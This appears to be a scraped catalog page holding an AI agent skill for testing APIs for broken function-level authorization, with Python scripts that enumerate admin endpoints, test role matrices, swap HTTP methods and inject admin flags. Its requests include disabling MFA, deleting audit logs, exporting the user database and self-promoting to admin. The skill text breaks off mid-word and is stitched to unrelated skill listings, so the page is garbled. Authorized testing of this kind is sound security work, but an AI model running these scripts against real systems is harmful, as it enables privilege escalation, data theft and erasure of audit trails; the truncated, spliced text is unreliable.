exploiting-broken-function-level-authorization
Tests APIs for Broken Function Level Authorization (BFLA) vulnerabilities where regular users can invoke administrative functions or access privileged API endpoints by directly calling them. The tester identifies admin and privileged endpoints, then attempts to access them with regular user credentials by manipulating HTTP methods, URL paths, and request parameters. Maps to OWASP API5:2023 Broken Function Level Authorization. Activates for requests involving BFLA testing, admin endpoint bypass, function-level access control testing, or API privilege escalation.
What this skill does
# Exploiting Broken Function Level Authorization
## When to Use
- Testing whether regular users can access administrative API endpoints by direct URL access
- Assessing APIs for vertical privilege escalation where users can invoke functions above their role
- Evaluating if API gateways and middleware consistently enforce function-level access controls
- Testing role-based access control (RBAC) implementation across all API endpoints and HTTP methods
- Validating that API documentation does not expose admin endpoint paths that lack authorization
**Do not use** without written authorization. BFLA testing involves attempting to execute administrative functions with unauthorized credentials.
## Prerequisites
- Written authorization specifying target API and administrative functions in scope
- Test accounts at multiple privilege levels: regular user, moderator, admin, super-admin
- API documentation (OpenAPI/Swagger spec) that may list admin endpoints
- Burp Suite Professional for request interception and manipulation
- Python 3.10+ with `requests` library
- Knowledge of common admin endpoint naming conventions
## Workflow
### Step 1: Administrative Endpoint Discovery
```python
import requests
import itertools
BASE_URL = "https://target-api.example.com"
regular_user_headers = {"Authorization": "Bearer <regular_user_token>"}
admin_headers = {"Authorization": "Bearer <admin_token>"}
# Common admin endpoint patterns
ADMIN_PATH_PATTERNS = [
"/api/v1/admin",
"/api/v1/admin/users",
"/api/v1/admin/settings",
"/api/v1/admin/config",
"/api/v1/admin/logs",
"/api/v1/admin/dashboard",
"/api/v1/admin/reports",
"/api/v1/admin/billing",
"/api/v1/manage",
"/api/v1/management",
"/api/v1/internal",
"/api/v1/internal/users",
"/api/v1/system",
"/api/v1/system/health",
"/api/v1/console",
"/api/v1/users/admin",
"/api/v1/roles",
"/api/v1/permissions",
"/api/v1/audit",
"/api/v1/audit/logs",
"/api/internal/",
"/admin/api/",
"/management/api/",
"/backoffice/api/",
]
# Administrative function patterns (POST/PUT/DELETE operations)
ADMIN_FUNCTIONS = [
("POST", "/api/v1/users", {"role": "admin"}), # Create user with admin role
("PUT", "/api/v1/users/1/role", {"role": "admin"}), # Change user role
("DELETE", "/api/v1/users/1002", None), # Delete another user
("POST", "/api/v1/settings", {"maintenance": True}), # Modify system settings
("GET", "/api/v1/users?role=admin", None), # List admin users
("POST", "/api/v1/export/users", None), # Export user data
("POST", "/api/v1/users/1002/disable", None), # Disable user account
("POST", "/api/v1/users/1002/reset-password", None), # Force password reset
("PUT", "/api/v1/config/security", {"mfa_required": False}),# Disable security
("DELETE", "/api/v1/audit/logs", None), # Delete audit logs
]
# Phase 1: Discover accessible admin endpoints
print("Phase 1: Admin Endpoint Discovery")
for path in ADMIN_PATH_PATTERNS:
for method in ["GET", "POST", "PUT", "DELETE", "PATCH"]:
try:
resp = requests.request(method, f"{BASE_URL}{path}",
headers=regular_user_headers, timeout=5)
if resp.status_code not in (401, 403, 404, 405):
print(f" [ACCESSIBLE] {method} {path} -> {resp.status_code}")
except requests.exceptions.RequestException:
pass
```
### Step 2: Role-Based Function Testing
```python
# Define roles and their expected access levels
ROLES = {
"unauthenticated": {},
"regular_user": {"Authorization": "Bearer <regular_token>"},
"moderator": {"Authorization": "Bearer <moderator_token>"},
"admin": {"Authorization": "Bearer <admin_token>"},
}
# Endpoints with expected minimum role requirement
ROLE_MATRIX = [
# (method, endpoint, body, minimum_role)
("GET", "/api/v1/users/me", None, "regular_user"),
("GET", "/api/v1/users", None, "admin"),
("POST", "/api/v1/users", {"email":"[email protected]","name":"X","role":"user"}, "admin"),
("DELETE", "/api/v1/users/1002", None, "admin"),
("GET", "/api/v1/admin/settings", None, "admin"),
("PUT", "/api/v1/admin/settings", {"feature_flag": True}, "admin"),
("GET", "/api/v1/reports/financial", None, "admin"),
("POST", "/api/v1/users/1002/ban", None, "moderator"),
("GET", "/api/v1/audit/logs", None, "admin"),
("POST", "/api/v1/export/database", None, "admin"),
("PUT", "/api/v1/users/1002/role", {"role": "admin"}, "admin"),
]
ROLE_HIERARCHY = ["unauthenticated", "regular_user", "moderator", "admin"]
results = []
for method, endpoint, body, min_role in ROLE_MATRIX:
min_index = ROLE_HIERARCHY.index(min_role)
for role_name, role_headers in ROLES.items():
role_index = ROLE_HIERARCHY.index(role_name)
if role_index < min_index: # This role should NOT have access
resp = requests.request(method, f"{BASE_URL}{endpoint}",
headers=role_headers, json=body, timeout=5)
if resp.status_code not in (401, 403):
results.append({
"endpoint": f"{method} {endpoint}",
"role_used": role_name,
"expected_min_role": min_role,
"status_code": resp.status_code,
"vulnerable": True
})
print(f" [BFLA] {role_name} accessed {method} {endpoint} (requires {min_role}) -> {resp.status_code}")
print(f"\nTotal BFLA findings: {len(results)}")
```
### Step 3: HTTP Method Manipulation
```python
# Test if authorization is method-dependent
def test_method_based_bfla(endpoint, authorized_method="GET"):
"""Test if authorization only applies to certain HTTP methods."""
methods = ["GET", "POST", "PUT", "PATCH", "DELETE", "HEAD", "OPTIONS", "TRACE"]
print(f"\nTesting method-based BFLA on {endpoint}:")
for method in methods:
try:
resp = requests.request(method, f"{BASE_URL}{endpoint}",
headers=regular_user_headers,
json={"test": True} if method in ("POST","PUT","PATCH") else None,
timeout=5)
status = "ACCESSIBLE" if resp.status_code not in (401, 403, 405) else "blocked"
if status == "ACCESSIBLE":
print(f" [{status}] {method} {endpoint} -> {resp.status_code}")
except requests.exceptions.RequestException:
pass
# Admin endpoints to test
test_method_based_bfla("/api/v1/admin/users")
test_method_based_bfla("/api/v1/admin/settings")
test_method_based_bfla("/api/v1/users/1002")
```
### Step 4: Parameter-Based Privilege Escalation
```python
# Test if adding admin parameters to regular requests enables admin functions
privilege_escalation_tests = [
# Test 1: Add role parameter to self-update
{
"name": "Self role elevation via profile update",
"method": "PUT",
"endpoint": "/api/v1/users/me",
"body": {"name": "Test User", "role": "admin"},
},
# Test 2: Add admin flag
{
"name": "Admin flag injection",
"method": "PUT",
"endpoint": "/api/v1/users/me",
"body": {"name": "Test User", "is_admin": True, "isAdmin": True, "admin": True},
},
# Test 3: Modify user ID in body to target other users
{
"name": "User ID substitution in body",
"method": "PUT",
"endpoint": "/api/v1/users/me",
"body": {"id": 1, "user_id": 1, "role": "admin"},
},
# Test 4: Access admin function via regular endpoint with admin params
{
"name": "Hidden admin parameter",
"method": "GET",
"endpoint": "/api/v1/users?admin=true&debug=true&internal=true",
"body": None,
},
# Test 5: Override tenaRelated in Backend & APIs
jfrog
IncludedInteract with the JFrog Platform via the JFrog CLI and REST/GraphQL APIs. Use this skill when the user wants to manage Artifactory repositories, upload or download artifacts, manage builds, configure permissions, manage users and groups, work with access tokens, configure JFrog CLI servers, search artifacts, manage properties, set up replication, manage JFrog Projects, run security audits or scans, look up CVE details, query exposures scan results from JFrog Advanced Security, manage release bundles and lifecycle operations, aggregate or export platform data, or perform any JFrog Platform administration task. Also use when the user mentions jf, jfrog, artifactory, xray, distribution, evidence, apptrust, onemodel, graphql, workers, mission control, curation, advanced security, exposures, or any JFrog product name.
cupynumeric-migration-readiness
IncludedPre-migration readiness assessor for porting NumPy to cuPyNumeric. Use BEFORE substantial porting work begins when the user asks whether code will scale on GPU, whether they should migrate to cuPyNumeric, which NumPy patterns transfer cleanly, what must be refactored before porting, or mentions pre-port assessment, scaling analysis, or refactor planning. Inspect the user's source code, look up NumPy usage, cross-reference the cuPyNumeric API support manifest, and distinguish distributed-scaling-friendly patterns from blockers such as unsupported APIs, scalar synchronization, host round-trips, Python/object-heavy control flow, shape/data-dependent branching, and in-place mutation hazards. Produce a verdict of READY, LIGHT REFACTOR, SIGNIFICANT REFACTOR, or NOT RECOMMENDED, with concrete refactor pointers.
alibabacloud-data-agent-skill
IncludedInvoke Alibaba Cloud Apsara Data Agent for Analytics via CLI to perform natural language-driven data analysis on enterprise databases. Data Agent for Analytics is an intelligent data analysis agent developed by Alibaba Cloud Database team for enterprise users. It automatically completes requirement analysis, data understanding, analysis insights, and report generation based on natural language descriptions. This tool supports: discovering data resources (instances/databases/tables) managed in DMS, initiating query or deep analysis sessions, real-time progress tracking, and retrieving analysis conclusions and generated reports. Use this Skill when users need to query databases, analyze data trends, generate data reports, ask questions in natural language, or mention "Data Agent", "data analysis", "database query", "SQL analysis", "data insights".
token-optimizer
IncludedReduce OpenClaw token usage and API costs through smart model routing, heartbeat optimization, budget tracking, and native 2026.2.15 features (session pruning, bootstrap size limits, cache TTL alignment). Use when token costs are high, API rate limits are being hit, or hosting multiple agents at scale. The 4 executable scripts (context_optimizer, model_router, heartbeat_optimizer, token_tracker) are local-only — no network requests, no subprocess calls, no system modifications. Reference files (PROVIDERS.md, config-patches.json) document optional multi-provider strategies that require external API keys and network access if you choose to use them. See SECURITY.md for full breakdown.
resend-cli
IncludedUse this skill when the task is specifically about operating Resend from an AI agent, terminal session, or CI job via the official resend CLI: installing/authenticating the CLI, sending/listing/updating/cancelling emails, batch sends, domains and DNS, webhooks and local listeners, inbound receiving, contacts, topics, segments, broadcasts, templates, API keys, profiles, or debugging Resend CLI/API failures. Trigger on mentions of Resend CLI, `resend`, `resend doctor`, `resend emails send`, `resend domains`, `resend webhooks listen`, `resend emails receiving`, or agent-friendly terminal automation.
alibabacloud-odps-maxframe-coding
IncludedUse this skill for MaxFrame SDK development and documentation navigation on Alibaba Cloud MaxCompute (ODPS). Helps answer MaxFrame API, concept, official example, and supported pandas API questions; create data processing programs; read/write MaxCompute tables; debug jobs (remote or local); and build custom DPE runtime images. Trigger when users mention MaxFrame, MaxCompute with MaxFrame, ODPS table processing, DPE runtime, MaxFrame docs/examples, DataFrame/Tensor operations, or GPU runtime setup. Works for both English and Chinese queries about Alibaba Cloud data processing with MaxFrame.